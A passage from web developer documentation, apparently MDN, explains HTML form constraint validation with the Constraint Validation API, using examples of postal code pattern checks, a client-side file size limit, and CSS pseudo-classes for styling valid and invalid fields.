[`HTMLOutputElement`](/en-US/docs/Web/API/HTMLOutputElement) or [`HTMLTextAreaElement`](/en-US/docs/Web/API/HTMLTextAreaElement)), which evaluates the constraints only on this element, allowing a script to get this information. The `checkValidity()` method returns a Boolean indicating whether the element's value passes its constraints. (This is typically done by the user-agent when determining which of the CSS pseudo-classes, {{ Cssxref(":valid") }} or {{ Cssxref(":invalid") }}, applies.) In contrast, the `reportValidity()` method reports any constraint failures to the user. - By a call to the `checkValidity()` or `reportValidity()` method on the [`HTMLFormElement`](/en-US/docs/Web/API/HTMLFormElement) interface. - By submitting the form itself. Calling `checkValidity()` is called _statically_ validating the constraints, while calling `reportValidity()` or submitting the form is called _interactively_ validating the constraints. > **Note:** > > - If the [`novalidate`](/en-US/docs/Web/HTML/Element/form#novalidate) attribute is set on the {{ HTMLElement("form") }} element, interactive validation of the constraints doesn't happen. > - Calling the `submit()` method on the [`HTMLFormElement`](/en-US/docs/Web/API/HTMLFormElement) interface doesn't trigger a constraint validation. In other words, this method sends the form data to the server even if it doesn't satisfy the constraints. Call the `click()` method on a submit button instead. ## Complex constraints using the Constraint Validation API Using JavaScript and the Constraint API, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations. Basically, the idea is to trigger JavaScript on some form field event (like **onchange**) to calculate whether the constraint is violated, and then to use the method `field.setCustomValidity()` to set the result of the validation: an empty string means the constraint is satisfied, and any other string means there is an error and this string is the error message to display to the user. ### Constraint combining several fields: Postal code validation The postal code format varies from one country to another. Not only do most countries allow an optional prefix with the country code (like `D-` in Germany, `F-` in France or Switzerland), but some countries have postal codes with only a fixed number of digits; others, like the UK, have more complex structures, allowing letters at some specific positions. > **Note:** This is not a comprehensive postal code validation library, but rather a demonstration of the key concepts. As an example, we will add a script checking the constraint validation for this simple form: ```html <form> <label for="ZIP">ZIP : </label> <input type="text" id="ZIP" /> <label for="Country">Country : </label> <select id="Country"> <option value="ch">Switzerland</option> <option value="fr">France</option> <option value="de">Germany</option> <option value="nl">The Netherlands</option> </select> <input type="submit" value="Validate" /> </form> ``` This displays the following form: {{EmbedLiveSample("Constraint_combining_several_fields_Postal_code_validation")}} First, we write a function checking the constraint itself: ```js function checkZIP() { // For each country, defines the pattern that the ZIP has to follow const constraints = { ch: [ "^(CH-)?\\d{4}$", "Switzerland ZIPs must have exactly 4 digits: e.g. CH-1950 or 1950", ], fr: [ "^(F-)?\\d{5}$", "France ZIPs must have exactly 5 digits: e.g. F-75012 or 75012", ], de: [ "^(D-)?\\d{5}$", "Germany ZIPs must have exactly 5 digits: e.g. D-12345 or 12345", ], nl: [ "^(NL-)?\\d{4}\\s*([A-RT-Z][A-Z]|S[BCE-RT-Z])$", "Netherland ZIPs must have exactly 4 digits, followed by 2 letters except SA, SD and SS", ], }; // Read the country id const country = document.getElementById("Country").value; // Get the NPA field const ZIPField = document.getElementById("ZIP"); // Build the constraint checker const constraint = new RegExp(constraints[country][0], ""); console.log(constraint); // Check it! if (constraint.test(ZIPField.value)) { // The ZIP follows the constraint, we use the ConstraintAPI to tell it ZIPField.setCustomValidity(""); } else { // The ZIP doesn't follow the constraint, we use the ConstraintAPI to // give a message about the format required for this country ZIPField.setCustomValidity(constraints[country][1]); } } ``` Then we link it to the **onchange** event for the {{ HTMLElement("select") }} and the **oninput** event for the {{ HTMLElement("input") }}: ```js window.onload = () => { document.getElementById("Country").onchange = checkZIP; document.getElementById("ZIP").oninput = checkZIP; }; ``` ### Limiting the size of a file before its upload Another common constraint is to limit the size of a file to be uploaded. Checking this on the client side before the file is transmitted to the server requires combining the Constraint Validation API, and especially the `field.setCustomValidity()` method, with another JavaScript API, here the File API. Here is the HTML part: ```html <label for="FS">Select a file smaller than 75 kB : </label> <input type="file" id="FS" /> ``` This displays: {{EmbedLiveSample("Limiting_the_size_of_a_file_before_its_upload")}} The JavaScript reads the file selected, uses the `File.size()` method to get its size, compares it to the (hard coded) limit, and calls the Constraint API to inform the browser if there is a violation: ```js function checkFileSize() { const FS = document.getElementById("FS"); const files = FS.files; // If there is (at least) one file selected if (files.length > 0) { if (files[0].size > 75 * 1024) { // Check the constraint FS.setCustomValidity("The selected file must not be larger than 75 kB"); return; } } // No custom constraint violation FS.setCustomValidity(""); } ``` Finally, we hook the method with the correct event: ```js window.onload = () => { document.getElementById("FS").onchange = checkFileSize; }; ``` ## Visual styling of constraint validation Apart from setting constraints, web developers want to control what messages are displayed to the users and how they are styled. ### Controlling the look of elements The look of elements can be controlled via CSS pseudo-classes. #### :required and :optional CSS pseudo-classes The {{cssxref(':required')}} and {{cssxref(':optional')}} [pseudo-classes](/en-US/docs/Web/CSS/Pseudo-classes) allow writing selectors that match form elements that have the [`required`](/en-US/docs/Web/HTML/Element/input#required) attribute, or that don't have it. #### :placeholder-shown CSS pseudo-class See {{cssxref(':placeholder-shown')}}. #### :valid :invalid CSS pseudo-classes The {{cssxref(':valid')}} and {{cssxref(':invalid')}} [pseudo-classes](/en-US/docs/Web/CSS/Pseudo-classes) are used to represent \<input> elements whose content validates and fails to validate respectively according to the input's type setting. These classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly. ### Controlling the text of constraint violation The following items can help with controlling the text of a constraint violation: - The `setCustomValidity(message)` method on the following elements: - {{HTMLElement("fieldset")}}. Note: Setting a custom validity message on fieldset elements will not prevent form submission in most browsers. - {{HTMLElement("input")}} - {{HTMLElement("output")}} - {{HTMLElement("select")}} - Submit buttons (created with either a {{HTMLElement("button")}} element with the `submit` type, or an `input` element with the {{HTMLElement("input/submit", "submit")}} type. Other types of buttons do not participate in constraint validation. - {{HTMLElement("textarea")}} - The [`ValidityState`](/en-US/docs/Web/API/ValidityState) interface describes the object returned by the `validity` property of the element types listed above. It represents various ways that an entered value can be invalid. Together, they help explain why an element's value fails to validate, if it's not valid.
0